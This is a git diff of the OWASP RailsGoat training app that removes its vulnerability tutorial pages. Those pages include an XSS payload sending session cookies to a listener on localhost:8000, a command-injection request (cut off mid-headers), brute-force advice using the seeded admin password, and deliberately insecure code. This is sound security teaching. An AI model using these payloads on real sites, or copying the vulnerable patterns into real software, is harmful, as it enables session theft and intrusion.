diff --git a/app/assets/stylesheets/main.css.erb b/app/assets/stylesheets/main.css.erb index 2296075..c820b74 100755 --- a/app/assets/stylesheets/main.css.erb +++ b/app/assets/stylesheets/main.css.erb @@ -6316,6 +6316,87 @@ header { -moz-border-radius: 2px; border-radius: 2px; } +/* Login Wrapper */ + +.login-wrapper { + position: relative; + top: 0; + margin-top: 50px; + background: #f2f2f2; + -webkit-border-radius: 0 0 0 4px; + -moz-border-radius: 0 0 0 4px; + border-radius: 0 0 0 4px; + min-height: 1060px; + margin-bottom: 10px; + padding: 10px; } + .login-wrapper .main-container .widget { + background: #fafafa; + border: 1px solid #bfbfbf; + clear: both; + margin-top: 0px; + margin-bottom: 30px; + -webkit-border-radius: 5px; + -moz-border-radius: 5px; + border-radius: 5px; } + .login-wrapper .main-container .widget .widget-header { + background-color: #ebebeb; + /* Fallback Color */ + background-image: -webkit-gradient(linear, left top, left bottom, from(#f7f7f7), to(#ebebeb)); + /* Saf4+, Chrome */ + background-image: -webkit-linear-gradient(top, #f7f7f7, #ebebeb); + /* Chrome 10+, Saf5.1+, iOS 5+ */ + background-image: -moz-linear-gradient(top, #f7f7f7, #ebebeb); + /* FF3.6 */ + background-image: -ms-linear-gradient(top, #f7f7f7, #ebebeb); + /* IE10 */ + background-image: -o-linear-gradient(top, #f7f7f7, #ebebeb); + /* Opera 11.10+ */ + background-image: linear-gradient(top, #f7f7f7, #ebebeb); + -webkit-border-radius: 3px 3px 0 0; + -moz-border-radius: 3px 3px 0 0; + border-radius: 3px 3px 0 0; + border-bottom: 1px solid #d9d9d9; + height: 24px; + line-height: 24px; + padding: 10px; } + .login-wrapper .main-container .widget .widget-header .fs1 { + margin-right: 1px; } + .login-wrapper .main-container .widget .widget-header .fs1:hover { + -webkit-transform: rotate(360deg); + -moz-transform: rotate(360deg); + -o-transform: rotate(360deg); + -ms-transform: rotate(360deg); + transform: rotate(360deg); } + .login-wrapper .main-container .widget .widget-header .title { + color: #404040; + float: left; + font-weight: bold; + font-size: 13px; } + .login-wrapper .main-container .widget .widget-header .title .attribution, .login-wrapper .main-container .widget .widget-header .title .mini-title { + font-size: 11px; + padding-left: 4px; + color: #b3b3b3; + font-weight: normal; } + .login-wrapper .main-container .widget .widget-header span.tools { + padding: 0; + float: right; + margin: 0; } + .login-wrapper .main-container .widget .widget-header span.tools > a { + display: inline-block; + margin-right: 5px; + color: #666666; + margin-top: 3px; } + .login-wrapper .main-container .widget .widget-header span.tools > a:hover { + text-decoration: none; + opacity: .6; } + .login-wrapper .main-container .widget .widget-body { + margin: 10px; + padding: 5px; + background: #f2f2f2; + -webkit-border-radius: 2px; + -moz-border-radius: 2px; + border-radius: 2px; } + /* Metro Nav */ .metro-navigation .nav-block { display: block; diff --git a/app/controllers/tutorials_controller.rb b/app/controllers/tutorials_controller.rb index db92320..76022e3 100755 --- a/app/controllers/tutorials_controller.rb +++ b/app/controllers/tutorials_controller.rb @@ -2,103 +2,8 @@ class TutorialsController < ApplicationController skip_before_filter :has_info skip_before_filter :authenticated - def index - end - - def breaker - render :partial => "layouts/tutorial/home/breaker" - end - - def builder - end - def credentials render :partial => "layouts/tutorial/credentials/creds" end - def show - render "injection" - end - - def injection - end - - def xss - @code = %{ -
  • - - Welcome, <%= current_user.first_name.html_safe %> -
  • - } - end - - def broken_auth - end - - def insecure_dor - end - - def csrf - @meta_code_bad = %{<%#= csrf_meta_tags %> } - @meta_code_good = %{<%= csrf_meta_tags %> } - @ajax_code_good = %q{ - ("#example_submit_button_id").click(function(event) { - var valuesToSubmit = $("#example_form_id").serialize(); - event.preventDefault(); - $.ajax(\{ - url: "/example", - data: valuesToSubmit, - type: "POST", - success: function(response) \{ - alert('success!'); - }, - error: function(event) \{ - alert('failure!'); - \} - \}); - \}); - - \} } - end - - def misconfig - end - - def insecure_components - end - - def access_control - end - - def crypto - end - - def url_access - end - - def ssl_tls - end - - def redirects - end - - def guard - end - - def logic_flaws - end - - def mass_assignment - end - - def guantlt - - end - - def metaprogramming - end end diff --git a/app/views/layouts/application.html.erb b/app/views/layouts/application.html.erb index 03fed5d..c4a1cb2 100755 --- a/app/views/layouts/application.html.erb +++ b/app/views/layouts/application.html.erb @@ -16,18 +16,20 @@ end -<% if current_user %> <%= render "layouts/shared/header" %> <%= render "layouts/shared/sidebar" %> -<% else %> - <%= render "layouts/tutorial/header" %> - <%= render "layouts/tutorial/sidebar" %> -<% end %>
    -
    + <% if current_user %> +
    + <%= render "layouts/shared/messages" %> + <%= yield %> +
    + <% else %> + + <%= yield %> +
    + <% end %>
    <%= render "layouts/shared/footer" %> diff --git a/app/views/layouts/shared/_header.html.erb b/app/views/layouts/shared/_header.html.erb index 0be9691..5d7f18c 100755 --- a/app/views/layouts/shared/_header.html.erb +++ b/app/views/layouts/shared/_header.html.erb @@ -1,35 +1,76 @@ -
    - - Font Size: - A - A - -
    - - profile +<% if current_user %> +
    + + Font Size: + A + A + + +
      +
    • + + Welcome, <%= current_user.first_name.html_safe %> +
    • +
    +
      +
    • + <%= button_to "Visit Tutorial", "https://github.com/OWASP/railsgoat/wiki/tutorials", {:class => "btn", :method => "get"} %> +
    • +
    +
    +<% else %> + +
    +
      +
    • + <%= button_to "signup", signup_path, {:class => "btn btn-primary", :method => "get"} %> +
    • +
    +
      +
    • + <%= button_to "login", login_path, {:class => "btn", :method => "get"} %> +
    • +
    +
      +
    • + <%= button_to "Tutorial Credentials", "#myModalLabel1", {:id => "show_creds_btn", :class => "btn btn-danger", :method => "get"} %> +
    • +
    +
      +
    • + <%= button_to "Visit Tutorial", "https://github.com/OWASP/railsgoat/wiki/tutorials", {:class => "btn", :method => "get"} %> +
    • +
    +
    + + + + + +<% end %> - - - -
    - -
    \ No newline at end of file diff --git a/app/views/layouts/shared/_sidebar.html.erb b/app/views/layouts/shared/_sidebar.html.erb index 14e9ae0..a3d5adb 100755 --- a/app/views/layouts/shared/_sidebar.html.erb +++ b/app/views/layouts/shared/_sidebar.html.erb @@ -1,3 +1,4 @@ +<% if current_user %> diff --git a/app/views/layouts/tutorial/broken_auth_sess/_httponly_flag.html.erb b/app/views/layouts/tutorial/broken_auth_sess/_httponly_flag.html.erb deleted file mode 100644 index 498a0c6..0000000 --- a/app/views/layouts/tutorial/broken_auth_sess/_httponly_flag.html.erb +++ /dev/null @@ -1,93 +0,0 @@ -
    -
    -
    - A2 - Broken Authentication and Session Management - Lack of HttpOnly Flag -
    -
    -
    -
    -
    - -
    -
    - The HttpOnly flag prevents access to the document.cookie attribute of the DOM via JavaScript. Helpful for limiting the impact of Cross-Site Scripting as it relates to session theft. -
    -
    -
    -
    - -
    -
    -

    - By default, Ruby on Rails protects its' cookies with the HttpOnly flag. However, it is possible to disable this security protection and is not recommended. You can disable this protection using the flag highlighted below. This is an insecure and unnecessary change. -

    -
    -Railsgoat::Application.config.session_store :cookie_store, key: '_railsgoat_session', httponly: false
    -				
    -
    -
    -
    -
    - -
    -
    -

    Lack of the HttpOnly Flag - ATTACK

    -

    - Navigate to the sign-up page, sign up as a user, but in the first name field, enter: -

    -					<script>document.location="http://localhost:8000/" + document.cookie </script>
    -				  
    -

    - Additionally, fire up Python's SimpleHTTPServer module using the following command: -

    -
    -					$ python -m SimpleHTTPServer
    -				  
    -

    - Now authenticate to the application as the user you just created, you'll be redirected, now review the terminal tab that has the python server running. You'll notice that you see a GET request with the user's session in the request path. This means you have now grabbed the user's session via Cross-Site Scripting. -

    -

    -

    Lack of the HttpOnly Flag - SOLUTION

    -

    - Keep the default configuration "as-is" and do not make this change. If this exists in your code base, remove it. -

    -
    -
    -
    -
    - -
    -
    -

    - Can JavaScript interact with my session cookie? -

    -
    -
    -
    -
    -
    -
    diff --git a/app/views/layouts/tutorial/broken_auth_sess/_insecure_compare.html.erb b/app/views/layouts/tutorial/broken_auth_sess/_insecure_compare.html.erb deleted file mode 100644 index de35813..0000000 --- a/app/views/layouts/tutorial/broken_auth_sess/_insecure_compare.html.erb +++ /dev/null @@ -1,111 +0,0 @@ -
    -
    -
    - A2 - Broken Authentication and Session Management - Insecure Compare and Timing Attacks -
    -
    -
    -
    -
    - -
    -
    -

    - A timing attack can exist in several forms. This specific case relates to username (email address) enumeration. By leveraging an automated tool, an attacker can review any subtle variation in response times after submitting a login request to determine if the application is performing a computationally intense function. Meaning, if a function is run once a user is discovered, even if the password is incorrect, this information provides the user with valid or invalid usernames. -

    -
    -
    -
    -
    - -
    -
    -

    - Within app/models/user.rb -

    -
    -              def self.authenticate(email, password)
    -                   auth = nil
    -                    user = find_by_email(email)
    -                    raise "#{email} doesn't exist!" if !(user)
    -                     if user.password == Digest::MD5.hexdigest(password)
    -                       auth = user
    -                     else
    -                      raise "Incorrect Password!"
    -                     end
    -                   return auth
    -              end
    -          
    -

    - Ignore for a moment that the application actually tells you whether or not an email address exists :-). Instead, let's look at what would happen if this error message wasn't so specific. Even if the error message vulnerability was mitigated (because it indicates whether or not a user exists), there will be some variations in the application's response between a user that exists and one that does not (however so slight, considering MD5 is in use). -

    -

    - To understand why, let's follow the flow of this code example. Firstly, the application look for a user by email. If not found, nothing else really happens. No further processing, password comparison, etc. If a user is found, we will perform a password comparison and process as normal. -

    -
    -
    -
    -
    - -
    -
    -

    Insecure Timing Attacks - SOLUTION

    -

    - Within app/models/user.rb: -

    -
    -         def self.authenticate(email, password)
    -               user = find_by_email(email) || User.new(:password => "")
    -                if Rack::Utils.secure_compare(user.password, Digest::MD5.hexdigest(password))
    -                  return user
    -                else
    -                  raise "Incorrect username or password"
    -                end
    -           end
    -        
    -

    - To mitigate this attack and shore up our weakness, we do two things. The first is to find a user by email, if they don't exist, create a new user object in memory (not in the database) and assign it a blank password value. This means, regardless of whether or not a user exists, we will have a user to perform some processing on. The next is, we take the input from the user and match it against the user object's password leveraging secure_compare. This is a function (secure_compare) used to ensure that when a comparison happens, it will always take the same amount of time. -

    -

    - In summary, we have ensured that regardless of whether or not a user exists, a password comparison will always occur and it will take the same amount of time to complete. -

    -
    -
    -
    -
    - -
    -
    -

    - Timing is everything. Authenticating is important too. -

    -
    -
    -
    -
    -
    -
    diff --git a/app/views/layouts/tutorial/broken_auth_sess/_password_complexity.html.erb b/app/views/layouts/tutorial/broken_auth_sess/_password_complexity.html.erb deleted file mode 100644 index 4a1645a..0000000 --- a/app/views/layouts/tutorial/broken_auth_sess/_password_complexity.html.erb +++ /dev/null @@ -1,100 +0,0 @@ -
    -
    -
    - A2 - Broken Authentication and Session Management - Lack of Password Complexity -
    -
    -
    -
    -
    - -
    -
    -

    - Password complexity is incredibly important and highly debated subject. Other factors play a part in the stringency of the enforcement policy applied. If a username can be enumerated, a CAPTCHA on the login form is not present or other methods to deter a brute-force password guessing campaign are not in place, at least password complexity enforcement policy can make it a that much more difficult for an attacker to guess users passwords. -

    -
    -
    -
    -
    - -
    -
    -

    - Within app/models/User.rb -

    -
    -        validates :password, :presence => true,
    -                             :confirmation => true,
    -                             :length => {:within => 6..40},
    -                             :on => :create
    -        
    -

    - The application validates only the password length and nothing else. Developers can leverage the format option to apply a regular expression that checks the password has sufficient complexity. -

    -
    -
    -
    -
    - -
    -
    -

    Lack of Password Complexity - ATTACK

    -

    - Leverage a tool such as BurpSuite's intruder to brute-force the passwords of the users. The highest privileged account that you an attacker can compromise is the admin. The password is very simple ("admin1234"), username is ("admin@metacorp.com"). -

    -

    Lack of Password Complexity - SOLUTION

    -

    - This regular expression validates the password has the following requirements: -

  • 1 digit
  • -
  • 1 lowercase alphabet
  • -
  • 1 uppercase alphabet
  • -
  • 1 special character
  • -

    -
    -validates :password, :presence => true,
    -                      :confirmation => true,
    -                      :if => :password,
    -                      :format => {:with => /\A.*(?=.{10,})(?=.*\d)(?=.*[a-z])(?=.*[A-Z])(?=.*[\@\#\$\%\^\&\+\=]).*\z/}
    -
    -        
    -
    -
    -
    -
    - -
    -
    -

    - I wonder how strong the administrator's password is? -

    -
    -
    -
    -
    -
    -
    diff --git a/app/views/layouts/tutorial/broken_auth_sess/_user_pass_enum.html.erb b/app/views/layouts/tutorial/broken_auth_sess/_user_pass_enum.html.erb deleted file mode 100755 index 0ed7dc1..0000000 --- a/app/views/layouts/tutorial/broken_auth_sess/_user_pass_enum.html.erb +++ /dev/null @@ -1,140 +0,0 @@ -
    -
    -
    - A2 - Broken Authentication and Session Management - Username/Pass Enumeration -
    -
    -
    -
    -
    - -
    -
    -

    - Overly verbose error messages that indicate whether or not a user exists can assist an attacker with brute-forcing accounts. In attempting to harvest valid usernames for a password-guessing campaign, these messages can prove very useful. -

    -
    -
    -
    -
    - -
    -
    -

    Username and Password Enumeration

    -

    Within /app/models/user.rb:

    - - -

    -            def self.authenticate(email, password)
    -                  auth = nil
    -                  user = find_by_email(email)
    -                  # I heard something about hashing, dunno, why bother really. Nobody will get access to my stuff!
    -                  if user
    -                    if user.password == password
    -                      auth = user
    -                    else
    -                     raise "Incorrect Password!"
    -                    end
    -                  else
    -                     raise "#{email} doesn't exist!"
    -                  end
    -                  return auth
    -             end
    -            
    -

    On lines 9 and 12 you'll notice that the application generates two error messages.

    -

    Within /app/controllers/sessions_controller.rb:

    -

    -              def create
    -
    -                  begin
    -                    user = User.authenticate(params[:email], params[:password])
    -                  rescue Exception => e
    -                  end
    -
    -                  if user
    -                    session[:user_id] = user.user_id if User.where(:user_id => user.user_id).exists?
    -                    redirect_to home_dashboard_index_path
    -                  else
    -                    flash[:error] = e.message
    -                    render "new"
    -                  end
    -
    -              end
    -            
    -

    On line 5 you see the exception message object "e" is created. On line 11, the message is displayed.

    -

    - One of these messages indicates the email address (username) doesn't exist on the system. The other indicates that the password is incorrect. Although the application will render both error messages, either one of the error messages would be harmful by itself. This type of information can be used by an attacker to harvest email addresses or usernames. Once that list is gathered, passwords can be guessed for each account. If the username being enumerated is actually an email address, a phishing campaign could ensue with emails made to look like they are originating from the vulnerable site. -

    -
    -
    -
    -
    - -
    -
    -

    - Username and Password Enumeration - SOLUTION -

    -

    Within /app/controllers/sessions_controller.rb

    -
    -          def create
    -
    -              begin
    -                user = User.authenticate(params[:email], params[:password])
    -              rescue Exception => e
    -              end
    -
    -              if user
    -                session[:user_id] = user.user_id if User.where(:user_id => user.user_id).exists?
    -                redirect_to home_dashboard_index_path
    -              else
    -                flash[:error] =  "Either your username and password is incorrect" #e.message
    -                render "new"
    -              end
    -
    -          end
    -        
    -

    - Although this fix is neither systemic nor does it address the problematic code at its core (within the user model), it does provide a quick solution. On line 12, we comment out the "e.message code" and instead provide a very generic error message that lacks specificity on what credential was incorrectly entered. -

    -
    -
    -
    -
    - -
    -
    -

    - Enter an email address that wouldn't likely exist into the login form. Analyze the result.

    - Can you leverage this to gain unauthorized access? -

    -
    -
    -
    -
    -
    -
    diff --git a/app/views/layouts/tutorial/csrf/_csrf_first.html.erb b/app/views/layouts/tutorial/csrf/_csrf_first.html.erb deleted file mode 100755 index ae1fc8e..0000000 --- a/app/views/layouts/tutorial/csrf/_csrf_first.html.erb +++ /dev/null @@ -1,128 +0,0 @@ -
    -
    -
    - A8 - Cross Site Request Forgery (CSRF) -
    -
    -
    -
    -
    - -
    -
    -

    A CSRF attack forces a logged-on victim’s browser to send a forged HTTP request, including the victim’s session cookie and any other automatically included authentication information, to a vulnerable web application. This allows the attacker to force the victim’s browser to generate requests the vulnerable application thinks are legitimate requests from the victim.

    -
    -
    -
    -
    - -
    -
    -

    Cross-Site Request Forgery (CSRF) - The following code was taken from: /app/controllers/application_controller.rb and /app/views/layouts/application.html.erb

    -

    application_controller.rb

    -

    -

    -         # Our security guy keep talking about sea-surfing, cool story bro.
    -         # protect_from_forgery
    -        
    - -

    -

    application.html.erb

    -

    -

    -          <%= @meta_code_bad %>
    -          
    -

    -
    -
    -
    -
    - -
    -
    -

    Cross-Site Request Forgery ATTACK:

    -

    - The application allows users to update their calendar and schedule PTO events (PTO section). Due to the fact CSRF protections are disabled, the AJAX request will send the authenticity token but the application will not validate either its presence or validity. Create an html page using the code shown below, authenticate as another user, click on it, review the new calendar (change the dates under date_range1). You should see this HTML code will work, even if you hadn't navigated to the PTO section prior to sending it. -

    -

    -

    -            <%=
    - %{
    -  
    -    
    -      
    - - - - - -
    - - - } - %> -
    -

    - -

    Cross-Site Request Forgery SOLUTION:

    -

    - By default, the protect_from_forgery directive is added under the application_controller.rb at project creation. However, occasionally developers turn it off (comment out) because of issues with JS. There are two separate solutions around the JS problem. -

    -

    - Once protect_from_forgery is added back... -

  • Add the following code within the header section of the application.html.erb file (or any other application layout file).
  • -

    -

    -

    -            <%= @meta_code_good %>
    -          
    -

    -

    - That will allow you to parse the meta tag with JS. However, keep in mind that any form generated by Rails is populated with an authenticity token so, if you leverage something like JQuery to make an Ajax request, you can include all values within the form by using the technique shown next. -

    -

    -

  • Leverage the serialize() method, shown on line 3. This grabs all the values from the form, including the authenticity token.
  • -

    -

    -

    -            <%= @ajax_code_good %>
    -          
    -

    -
    -
    -
    -
    - -
    -
    - PTO is precious, glad my calendar is safe! -
    -
    -
    -
    -
    -
    \ No newline at end of file diff --git a/app/views/layouts/tutorial/exposure/_model_attributes_exposure.html.erb b/app/views/layouts/tutorial/exposure/_model_attributes_exposure.html.erb deleted file mode 100644 index 7e4b34d..0000000 --- a/app/views/layouts/tutorial/exposure/_model_attributes_exposure.html.erb +++ /dev/null @@ -1,144 +0,0 @@ -
    -
    -
    - A6 - Sensitive Data Exposure - Model Attributes Exposure -
    -
    -
    -
    -
    - -
    -
    -

    - The application's API returns a model object (user or users). Using respond_with, the API returns the full model object. It is simple but exposes information such as the user's password and other user attributes that you may wish to keep invisible. -

    -
    -
    -
    -
    - -
    -
    -

    - Within app/controllers/api/v1/users_controller.rb: -

    -
    -         def index
    -             # We removed the .as_json code from the model, just seemed like extra work.
    -             # dunno, maybe useful at a later time?
    -             #respond_with @user.admin ? User.all.as_json : @user.as_json
    -
    -             respond_with @user.admin ? User.all : @user
    -           end
    -
    -           def show
    -             respond_with @user.as_json
    -           end
    -        
    -

    - The as_json method referenced in the comments section of the index action exists within the user model in order to override and safely protect our model from only rendering certain attributes. It is unused (commented out), app/models/user.rb: -

    -
    -          # Instead of the entire user object being returned, we can use this to filter.
    -          def as_json
    -            super(only: [:user_id, :email, :first_name, :last_name])
    -          end
    -        
    -

    - When utilizing the method that most tutorials describe or advocate when rendering model objects via JSON in an API (unsafe), the response looks like this: -

    -
    -  HTTP/1.1 200 OK
    -  Content-Type: application/json; charset=utf-8
    -  X-UA-Compatible: IE=Edge
    -  ETag: "6b4caf343a20865de174b2b530b945dd"
    -  Cache-Control: max-age=0, private, must-revalidate
    -  X-Request-Id: c3b0a57861087c0b827aab231747ef0c
    -  X-Runtime: 0.051734
    -  Connection: close
    -
    -  {"admin":false,"created_at":"2014-01-23T16:17:10Z","email":
    -  "jack@metacorp.com","first_name":"Jack","id":2,"last_name":"Mannino","password":
    -  "b46dd2888a0904972649cc880a93f4dd","updated_at":"2014-01-23T16:17:10Z","user_id":2}
    -        
    -

    - Note that all attributes associated with this user are returned via the API. -

    -
    -
    -
    -
    - -
    -
    -

    Model Attributes Exposure - ATTACK

    -

    Use the API and review the data returned. Additional information on exploiting the API available under the Extras > Logic Flaws Section.

    -

    Model Attributes Exposure - SOLUTION

    -

    - Uncomment the as_json method within the user model. Additionally, call .as_json on any User model object you would like to return via the API or other means. Example: -

    -
    -          respond_with @user.admin ? User.all.as_json : @user.as_json
    -        
    -

    - Upon uncommenting the as_json method within the User model, the as_json method will ensure the API output only returns those attributes you have allowed in the following code: -

    -
    -        def as_json
    -          super(only: [:user_id, :email, :first_name, :last_name])
    -        end
    -        
    -

    - The response from the API should look like: -

    -
    -  HTTP/1.1 200 OK
    -  Content-Type: application/json; charset=utf-8
    -  X-UA-Compatible: IE=Edge
    -  ETag: "2333488e856669ac637e37cb4cf09cb6"
    -  Cache-Control: max-age=0, private, must-revalidate
    -  X-Request-Id: baa6a1c90004838793614e4c61633767
    -  X-Runtime: 0.092768
    -  Connection: close
    -
    -  {"email":"jack@metacorp.com","first_name":"Jack","last_name":"Mannino","user_id":2}
    -        
    -
    -
    -
    -
    - -
    -
    - We have an API available... what does it return? -
    -
    -
    -
    -
    -
    \ No newline at end of file diff --git a/app/views/layouts/tutorial/exposure/_password_hashing.html.erb b/app/views/layouts/tutorial/exposure/_password_hashing.html.erb deleted file mode 100755 index f83cb89..0000000 --- a/app/views/layouts/tutorial/exposure/_password_hashing.html.erb +++ /dev/null @@ -1,127 +0,0 @@ -
    -
    -
    - A6 - Sensitive Data Exposure - Insecure Password Storage -
    -
    -
    -
    -
    - -
    -
    -

    - The OWASP description - Many web applications do not properly protect sensitive data, such as credit cards, SSNs, and authentication credentials, with appropriate encryption or hashing. Attackers may steal or modify such weakly protected data to conduct identity theft, credit card fraud, or other crimes. -

    -

    - Railsgoat does hash user passwords. Unfortunately, it does so using an extremely weak algorithm (MD5). Generally speaking, a strong algorithm and per-user salt can greatly improve the security of a hashed value. Also important to note, hashing and encryption are not the same. Encryption is meant to be reversible using some secret information, hashing is not, hashing is a one-way function not meant to be reversible. -

    -

    - All that being said, there are groups within security organizations that devote themselves to threat models built around this topic so clearly, this description does not encompass all scenarios. However, our recommendation is better than hashing using MD5 . -

    -
    -
    -
    -
    - -
    -
    -

    - Within app/models/user.rb: -

    -
    -         before_save :hash_password
    -
    -        def self.authenticate(email, password)
    -             auth = nil
    -             user = find_by_email(email)
    -             if user
    -               if user.password == Digest::MD5.hexdigest(password)
    -                 auth = user
    -               else
    -                raise "Incorrect Password!"
    -               end
    -             else
    -                raise "#{email} doesn't exist!"
    -             end
    -             return auth
    -          end
    -
    -        def hash_password
    -            if self.password.present?
    -                self.password = Digest::MD5.hexdigest(password)
    -            end
    -          end
    -
    -        
    - -
    -
    -
    -
    - -
    -
    -

    Password Storage - ATTACK

    -

    - Using the passwords stored within db/seeds.rb file, create a wordlist and leverage a password cracking tool such as John The Ripper to crack those passwords. -

    -

    Password Storage - SOLUTION

    -

    - A simple solution here would be to enforce a per-user salt in creating a BCrypt hash. You would need to alter the db schema to add a password_salt and password_hash columns to the table. -

    -
    -        def self.authenticate(email, password)
    -            user = find_by_email(email)
    -            if user and user.password_hash == BCrypt::Engine.hash_secret(password, user.password_salt)
    -                user
    -            else
    -               "Invalid Credentials Supplied"
    -            end
    -        end
    -
    -        def hash_password
    -            if self.password.present?
    -              self.password_salt = BCrypt::Engine.generate_salt
    -              self.password_hash = BCrypt::Engine.hash_secret(self.password, self.password_salt)
    -            end
    -        end
    -        
    -
    -
    -
    -
    - -
    -
    - How protected are those passwords in the database against cracking? -
    -
    -
    -
    -
    -
    \ No newline at end of file diff --git a/app/views/layouts/tutorial/exposure/_ssn.html.erb b/app/views/layouts/tutorial/exposure/_ssn.html.erb deleted file mode 100644 index 8fd628a..0000000 --- a/app/views/layouts/tutorial/exposure/_ssn.html.erb +++ /dev/null @@ -1,170 +0,0 @@ -
    -
    -
    - A6 - Sensitive Data Exposure - Clear-text storage of SSN(s) -
    -
    -
    -
    -
    - -
    -
    -

    - The Railsgoat application stores and transmits Social Security Numbers insecurely. -

    -
    -
    -
    -
    - -
    -
    -

    - The Railsgoat application stores user's Social Security Numbers in plain-text within the database and because of this, it fails to adequately protect these numbers from theft. Additionally, the user's full SSN is sent back to the user within an HTTP response from the application. -

    -

    - The WorkInfo model (app/models/work_info.rb) is missing code to encrypt this data prior to storage. Additionally, while code exists to render only the last 4 numbers of an SSN (shown below), at no time is it used. -

    -
    -          # We should probably use this
    -          def last_four
    -            "***-**-" << self.decrypt_ssn[-4,4]
    -          end
    -        
    - -
    -
    -
    -
    - -
    -
    -

    SSN Storage - SOLUTION

    -

    - There is a lot of guidance on adequately protecting sensitive data at rest and using a layered defensive approach. Make no mistake, this should not be your sole means of securing sensitive data. That being said, there are at least four precautions that should be taken. -

  • The sensitive data is encrypted everywhere, including backups
  • -
  • Only authorized users can access decrypted copies of the data
  • -
  • Use a strong algorithm
  • -
  • Strong key is generated, protected from unauthorized access, and key change is planned for.

  • -

    - -

    - In the following code, we demonstrate switching from the storage of full SSN(s) in clear-text to storing them in the AES-256 encrypted format. The first thing to do is build the encrypt and decrypt functions. These can be found within app/models/work_info.rb. -

    -
    -          def encrypt_ssn
    -             aes = OpenSSL::Cipher::Cipher.new(cipher_type)
    -             aes.encrypt
    -             aes.key = key
    -             aes.iv = iv if iv != nil
    -             self.encrypted_ssn = aes.update(self.SSN) + aes.final
    -             self.SSN = nil
    -          end
    -
    -          def decrypt_ssn
    -             aes = OpenSSL::Cipher::Cipher.new(cipher_type)
    -             aes.decrypt
    -             aes.key = key
    -             aes.iv = iv if iv != nil
    -             aes.update(self.encrypted_ssn) + aes.final
    -          end
    -
    -          def key
    -            raise "Key Missing" if !(KEY)
    -            KEY
    -          end
    -
    -          def iv
    -            raise "No IV for this User" if !(self.key_management.iv)
    -            self.key_management.iv
    -          end
    -
    -          def cipher_type
    -            'aes-256-cbc'
    -          end
    -        
    -

    - Also within the WorkInfo model, we add the following line of code... -

    -
    -           before_save :encrypt_ssn
    -        
    -

    - The remaining pieces are: -

  • We "seed" the database with per-user initialization vectors (IV) and store them within the key_management table
  • -
  • Separate production and development encryption keys. Production keys should be stored in an HSM, environment variable, etc. but never within the source code. Development keys are irrelevant if not being used for real data
  • -
  • Change the view where SSNs are called and rendered to the user so that the "last_four" method is called instead
  • -
  • For new user's who are registering, we create an initialization specific to their account
  • -

    -
    -         # SEED DATA
    -         work_info.each do |wi|
    -          list = [:user_id, :SSN]
    -          info = WorkInfo.new(wi.reject {|k| list.include?(k)})
    -          info.user_id = wi[:user_id]
    -          info.build_key_management({:user_id => wi[:user_id], :iv => SecureRandom.hex(32) })
    -          info.SSN = wi[:SSN]
    -          info.save
    -        end
    -        
    -
    -        # SEPARATE PROD AND DEV KEYS (config/initializers/key.rb)
    -        if Rails.env.production?
    -          # Specify env variable/location/etc. to retrieve key from
    -        elsif Rails.env.development?
    -          KEY = "123456789101112123456789101112123456789101112"
    -        end
    -        
    -
    -        # CHANGE VIEW TO CALL LAST FOUR METHOD (app/views/work_info/index.html.erb)
    -        <%= CGI.unescapeHTML("<td class="ssn"><%= @user.work_info.last_four %></td>") %>
    -        
    -
    -      def build_benefits_data
    -         build_retirement(POPULATE_RETIREMENTS.shuffle.first)
    -         build_paid_time_off(POPULATE_PAID_TIME_OFF.shuffle.first).schedule.build(POPULATE_SCHEDULE.shuffle.first)
    -         build_work_info(POPULATE_WORK_INFO.shuffle.first)
    -         # Uncomment below line to use encrypted SSN(s)
    -         work_info.build_key_management(:iv => SecureRandom.hex(32))
    -         performance.build(POPULATE_PERFORMANCE.shuffle.first)
    -      end
    -       
    -
    -
    -
    -
    - -
    -
    - My SSN seems pretty important, hope it's kept safe! -
    -
    -
    -
    -
    -
    \ No newline at end of file diff --git a/app/views/layouts/tutorial/home/_breaker.html.erb b/app/views/layouts/tutorial/home/_breaker.html.erb deleted file mode 100644 index c018198..0000000 --- a/app/views/layouts/tutorial/home/_breaker.html.erb +++ /dev/null @@ -1,14 +0,0 @@ -
    -
    -
    -
    -
    - Breaker Introduction -
    -
    - -
    -
    -
    -
    -
    \ No newline at end of file diff --git a/app/views/layouts/tutorial/home/_builder.html.erb b/app/views/layouts/tutorial/home/_builder.html.erb deleted file mode 100644 index e69de29..0000000 diff --git a/app/views/layouts/tutorial/injection/_injection_command.html.erb b/app/views/layouts/tutorial/injection/_injection_command.html.erb deleted file mode 100644 index f0c871f..0000000 --- a/app/views/layouts/tutorial/injection/_injection_command.html.erb +++ /dev/null @@ -1,156 +0,0 @@ -
    -
    -
    - A1 - Command Injection -
    -
    -
    -
    -
    - -
    -
    -

    - An OS command injection attack occurs when an attacker attempts to execute system level commands through a vulnerable application. Applications are considered vulnerable to the OS command injection attack if they utilize user input in a system level command. -

    -
    -
    -
    -
    - -
    -
    -

    - This manifestation of the bug occurs within the Benefits model. A system command is used to make a copy of the file the user has chosen to upload. User-supplied input is leveraged in creating this system command. -

    -

    - Within app/controllers/benefits_controller.rb: -

    -
    -          def upload
    -            file = params[:benefits][:upload]
    -            if file
    -              flash[:success] = "File Successfully Uploaded!"
    -              Benefits.save(file, params[:benefits][:backup])
    -            else
    -              flash[:error] = "Something went wrong"
    -            end
    -            redirect_to user_benefit_forms_path(:user_id => current_user.user_id)
    -          end
    -        
    -

    - Within app/models/benefits.rb: -

    -
    -        class Benefits < ActiveRecord::Base
    -         attr_accessor :backup
    -
    -         def self.save(file, backup=false)
    -           data_path = Rails.root.join("public", "data")
    -           full_file_name = "#{data_path}/#{file.original_filename}"
    -           f = File.open(full_file_name, "w+")
    -           f.write file.read
    -           f.close
    -           make_backup(file, data_path, full_file_name) if backup == "true"
    -         end
    -
    -         def self.make_backup(file, data_path, full_file_name)
    -           system("cp #{full_file_name} #{data_path}/bak#{Time.zone.now.to_i}_#{file.original_filename}")
    -         end
    -
    -        end
    -
    -        
    -

    - The command injection vulnerability is introduced when the user-supplied input (name of file) is interpolated or mixed in with a system command. -

    -
    -
    -
    -
    - -
    -
    -

    Command Injection - ATTACK

    -

    - The filename portion of the benefits[upload] parameter is vulnerable to command injection. Navigate to the benefits section of the application, and choose a file to upload. Once the file is chosen, turn your intercepting proxy on, click start upload, and intercept the request. you will want to change the backup option to true (highlighted below) and inject your commands within the filename parameter (highlighted). Note: forward slashes ('/') are escaped by the original_filename method (used to extract the file name ). -

    -
    -        POST /upload HTTP/1.1
    -        Host: railsgoat.dev
    -        User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:19.0) Gecko/20100101 Firefox/19.0
    -        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    -        Accept-Language: en-US,en;q=0.5
